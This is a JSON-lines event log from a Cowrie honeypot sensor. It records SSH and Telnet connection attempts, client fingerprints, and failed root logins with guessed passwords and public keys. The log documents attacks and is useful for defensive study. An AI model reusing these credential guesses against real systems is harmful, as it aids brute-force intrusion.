{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:20.056843Z","src_ip":"103.82.20.28","session":"25fefef4f182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678g","message":"login attempt [root/12345678g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:20.881443Z","src_ip":"103.82.20.28","session":"25fefef4f182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:22.167341Z","src_ip":"103.82.20.28","session":"25fefef4f182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52696,"dst_ip":"10.17.0.5","dst_port":23,"session":"57ba97a91c9d","protocol":"telnet","message":"New connection: 192.119.13.58:52696 (10.17.0.5:23) [session: 57ba97a91c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:22.633373Z"}
{"eventid":"cowrie.session.closed","duration":33.71445107460022,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:26.448054Z","src_ip":"192.119.13.58","session":"699402da0fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44598,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b84fec449f","protocol":"telnet","message":"New connection: 192.119.13.58:44598 (10.17.0.5:23) [session: c1b84fec449f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:27.698979Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":39268,"dst_ip":"159.203.135.109","dst_port":22,"session":"187473f1b9d2","protocol":"ssh","message":"New connection: 103.153.68.219:39268 (159.203.135.109:22) [session: 187473f1b9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:28.938825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:28.943862Z","src_ip":"103.153.68.219","session":"187473f1b9d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:29.189025Z","src_ip":"103.153.68.219","session":"187473f1b9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:29.923843Z","src_ip":"103.153.68.219","session":"187473f1b9d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:31.170736Z","src_ip":"103.153.68.219","session":"187473f1b9d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.7849907875061,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:38.670500Z","src_ip":"192.119.13.58","session":"f404d8454263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52182,"dst_ip":"10.17.0.5","dst_port":23,"session":"d536e9b8e690","protocol":"telnet","message":"New connection: 192.119.13.58:52182 (10.17.0.5:23) [session: d536e9b8e690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:43.548041Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.3.150.58","src_port":60626,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a0e8d72e0ac","protocol":"ssh","message":"New connection: 192.3.150.58:60626 (10.17.0.5:22) [session: 1a0e8d72e0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.233087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.238566Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.313504Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:37:dc:0b:7f:cb:7d:77:e4:fd:95:bf:fe:4f:c7:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDReW7BLrejO7Gzm9qJ3oDPcGpazdFDfBRui5gEhUn9o8VkyDAW8aQoPe1MlsZYxiZfmDPMd+WP4qygQM8n5drfXK6QbVo6W9uButs2HUnKky9Vr2FYRqI4R3UcdyN4u56l2/61K4evcYdTCswAxSPtUIOzK/I/eJOGD+/LfxGNy4m1+oGuuGcBkVHtRucTY+CKuTVYOxmR/tHNLkkkQ/bNuJDDsB/Ez5+D7553oLKcIIigX6QbRGIE03UHjN1ghSu3U+x2vV9ZIwTFZWd2+8dQk0WLXqM/OxxojQTBJbE73j6DDDni6w43LoxUkAAjg5sMXUf/VR55bGguHciqtB1d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:37:dc:0b:7f:cb:7d:77:e4:fd:95:bf:fe:4f:c7:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.648841Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:37:dc:0b:7f:cb:7d:77:e4:fd:95:bf:fe:4f:c7:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDReW7BLrejO7Gzm9qJ3oDPcGpazdFDfBRui5gEhUn9o8VkyDAW8aQoPe1MlsZYxiZfmDPMd+WP4qygQM8n5drfXK6QbVo6W9uButs2HUnKky9Vr2FYRqI4R3UcdyN4u56l2/61K4evcYdTCswAxSPtUIOzK/I/eJOGD+/LfxGNy4m1+oGuuGcBkVHtRucTY+CKuTVYOxmR/tHNLkkkQ/bNuJDDsB/Ez5+D7553oLKcIIigX6QbRGIE03UHjN1ghSu3U+x2vV9ZIwTFZWd2+8dQk0WLXqM/OxxojQTBJbE73j6DDDni6w43LoxUkAAjg5sMXUf/VR55bGguHciqtB1d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.652558Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:ea:26:92:50:6b:68:72:9c:db:30:d5:87:bc:76:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0qOv5MJhwysMievEMvPR8DT9RNxRjnIc4d61OpEW4ul/j0Uf714DDN1bN/cfYy5yWF8wnh/rXLkrKPRJQJNX1RugmvS6/1CG7xYBkID/FVTMNxmlPXktfE1N5vJoukRDUi7fQikryNDJb0fmoNOTsbQwoedCov4dPmpGnXZlhMyAigs3qdnr7KWUqbtUJTpClQgvTeYyKnOFm9CYS23U6+VDc0WBeATITpwYzbcLIoVTLJllowVXajCafP64xAXzBcM3IQGFqIs3ptxaYNwT4B2nrlEXDUnpnO3p0tXMO+YpsGwinhEjZbCeA3GqZhSiRlh/PASAd2AY2i1uY58UCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:ea:26:92:50:6b:68:72:9c:db:30:d5:87:bc:76:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.727306Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:ea:26:92:50:6b:68:72:9c:db:30:d5:87:bc:76:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0qOv5MJhwysMievEMvPR8DT9RNxRjnIc4d61OpEW4ul/j0Uf714DDN1bN/cfYy5yWF8wnh/rXLkrKPRJQJNX1RugmvS6/1CG7xYBkID/FVTMNxmlPXktfE1N5vJoukRDUi7fQikryNDJb0fmoNOTsbQwoedCov4dPmpGnXZlhMyAigs3qdnr7KWUqbtUJTpClQgvTeYyKnOFm9CYS23U6+VDc0WBeATITpwYzbcLIoVTLJllowVXajCafP64xAXzBcM3IQGFqIs3ptxaYNwT4B2nrlEXDUnpnO3p0tXMO+YpsGwinhEjZbCeA3GqZhSiRlh/PASAd2AY2i1uY58UCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.731150Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:ca:0b:d6:e1:8c:3c:7a:38:ab:97:0c:68:b3:66:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRSb32mE3y6hdXeXBQP+0yuggfRQrmI+SS2YdlcNE1Z7SprnP+vnAyEJQkyzFknxtIy6j5lGltSeIdgsMGqERqaxvqR1iiC2gATEubaXvsjtV/eCwJYFBGwbhKG6MI3Y5A/zrAR2IXcu6ew+kX3K5igBLAa+l9IR3vOxAFXvVv9hLV5VzZE8SFV8dLhaqgqhZxcl1OSPdbEjCsj9Pr72A9w+3NiQxJXGGwGHGme2ojmczbFGIet/5MYvXPxs/RmDdR23XlSDgutYwy0F6CMnfbDbRwGLLFF0u29HxmO812nb741G/7aE2n6byz4kUtVV6xYc4O2QDYFlCgWkdweW5j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:ca:0b:d6:e1:8c:3c:7a:38:ab:97:0c:68:b3:66:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.804340Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:ca:0b:d6:e1:8c:3c:7a:38:ab:97:0c:68:b3:66:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRSb32mE3y6hdXeXBQP+0yuggfRQrmI+SS2YdlcNE1Z7SprnP+vnAyEJQkyzFknxtIy6j5lGltSeIdgsMGqERqaxvqR1iiC2gATEubaXvsjtV/eCwJYFBGwbhKG6MI3Y5A/zrAR2IXcu6ew+kX3K5igBLAa+l9IR3vOxAFXvVv9hLV5VzZE8SFV8dLhaqgqhZxcl1OSPdbEjCsj9Pr72A9w+3NiQxJXGGwGHGme2ojmczbFGIet/5MYvXPxs/RmDdR23XlSDgutYwy0F6CMnfbDbRwGLLFF0u29HxmO812nb741G/7aE2n6byz4kUtVV6xYc4O2QDYFlCgWkdweW5j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.812783Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:77:59:aa:54:8a:76:ba:eb:04:eb:5a:b2:3b:7b:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0DKJEBQNShQWd1HjamlOXbOnZko6Cq0ZB2Sf0SeSrgiQSuJrVBnEstgnUHlW3mVmZw+Ofi1DACYeU0CL7VIVCdYBCDVdQLvc1jv9Ug23s1No8Ox9BwoKz3lqCUZt7fpBjoR+lulfrfAAg/gIX8an2yxQ6KVU6NrWGItgXRtGYBxMLpEGHNS0gFWDnWKKbQdjAxd8cGhMcCRrHLO+2o7rdmN/ZottDavCzp6L8dNKzpygNgpjOqF+p8KPGxaXrfmMdEdeApyvrNy3K0I/UPeeSkNrUVYbtLjTiPspOOhLAjSc4FS9v5b+Sx14+DjeA7gE4ky0fQKJQsnefuNKSzFZ0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:77:59:aa:54:8a:76:ba:eb:04:eb:5a:b2:3b:7b:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.887376Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:77:59:aa:54:8a:76:ba:eb:04:eb:5a:b2:3b:7b:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0DKJEBQNShQWd1HjamlOXbOnZko6Cq0ZB2Sf0SeSrgiQSuJrVBnEstgnUHlW3mVmZw+Ofi1DACYeU0CL7VIVCdYBCDVdQLvc1jv9Ug23s1No8Ox9BwoKz3lqCUZt7fpBjoR+lulfrfAAg/gIX8an2yxQ6KVU6NrWGItgXRtGYBxMLpEGHNS0gFWDnWKKbQdjAxd8cGhMcCRrHLO+2o7rdmN/ZottDavCzp6L8dNKzpygNgpjOqF+p8KPGxaXrfmMdEdeApyvrNy3K0I/UPeeSkNrUVYbtLjTiPspOOhLAjSc4FS9v5b+Sx14+DjeA7gE4ky0fQKJQsnefuNKSzFZ0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.891538Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:f0:c5:02:9c:e2:0b:44:9a:34:12:70:0f:9a:3e:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiCQqPM29wVnXOtOE44SO4WUHBB80B8z3MtbarPON+nN2OBImN6qr8/vMTLv11lD82ZOx5OKGK5He4DNtVj9ASsoZzEynn9FGhsvqHZyryx51kiKLL6hdovo0rTOk2ZqyN301xquRQfGACja4Y2zKhq7NDNjExn1dzb0fXz20oqvz6uXlUmdUidvfK/I3Ke2Yj5YPQkMRZmwrr88wuQ3gs+WF5JieH1dbVl2hfb1TYF9pvDMci4XOo53kTSLb7Fyb7ikQpT7/p08qf8bh4FUHhKLMTkz1O9L+poQQu2voXCKblj+C4NMt7WQ6r1ooitROnT9H4FEAjV5mbnnyanFP3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:f0:c5:02:9c:e2:0b:44:9a:34:12:70:0f:9a:3e:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.964354Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:f0:c5:02:9c:e2:0b:44:9a:34:12:70:0f:9a:3e:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiCQqPM29wVnXOtOE44SO4WUHBB80B8z3MtbarPON+nN2OBImN6qr8/vMTLv11lD82ZOx5OKGK5He4DNtVj9ASsoZzEynn9FGhsvqHZyryx51kiKLL6hdovo0rTOk2ZqyN301xquRQfGACja4Y2zKhq7NDNjExn1dzb0fXz20oqvz6uXlUmdUidvfK/I3Ke2Yj5YPQkMRZmwrr88wuQ3gs+WF5JieH1dbVl2hfb1TYF9pvDMci4XOo53kTSLb7Fyb7ikQpT7/p08qf8bh4FUHhKLMTkz1O9L+poQQu2voXCKblj+C4NMt7WQ6r1ooitROnT9H4FEAjV5mbnnyanFP3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:47.968443Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:48.044880Z","src_ip":"192.3.150.58","session":"1a0e8d72e0ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32988,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d38116ccb6","protocol":"telnet","message":"New connection: 192.119.13.58:32988 (10.17.0.5:23) [session: 43d38116ccb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:52.369832Z"}
{"eventid":"cowrie.session.closed","duration":0.4151918888092041,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:52.784881Z","src_ip":"192.119.13.58","session":"43d38116ccb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":37994,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f2445e6d06","protocol":"ssh","message":"New connection: 185.92.182.129:37994 (10.17.0.5:22) [session: d6f2445e6d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:54.608310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:54.830731Z","src_ip":"185.92.182.129","session":"d6f2445e6d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:54.859164Z","src_ip":"185.92.182.129","session":"d6f2445e6d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cx123456.","message":"login attempt [root/Cx123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:55.564217Z","src_ip":"185.92.182.129","session":"d6f2445e6d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:56.600863Z","src_ip":"185.92.182.129","session":"d6f2445e6d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.929665327072144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:58.628547Z","src_ip":"192.119.13.58","session":"c1b84fec449f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":50862,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d5204e1c47","protocol":"ssh","message":"New connection: 62.133.62.83:50862 (10.17.0.5:22) [session: 69d5204e1c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:59.220482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:59.225282Z","src_ip":"62.133.62.83","session":"69d5204e1c47","protocol":"ssh"}
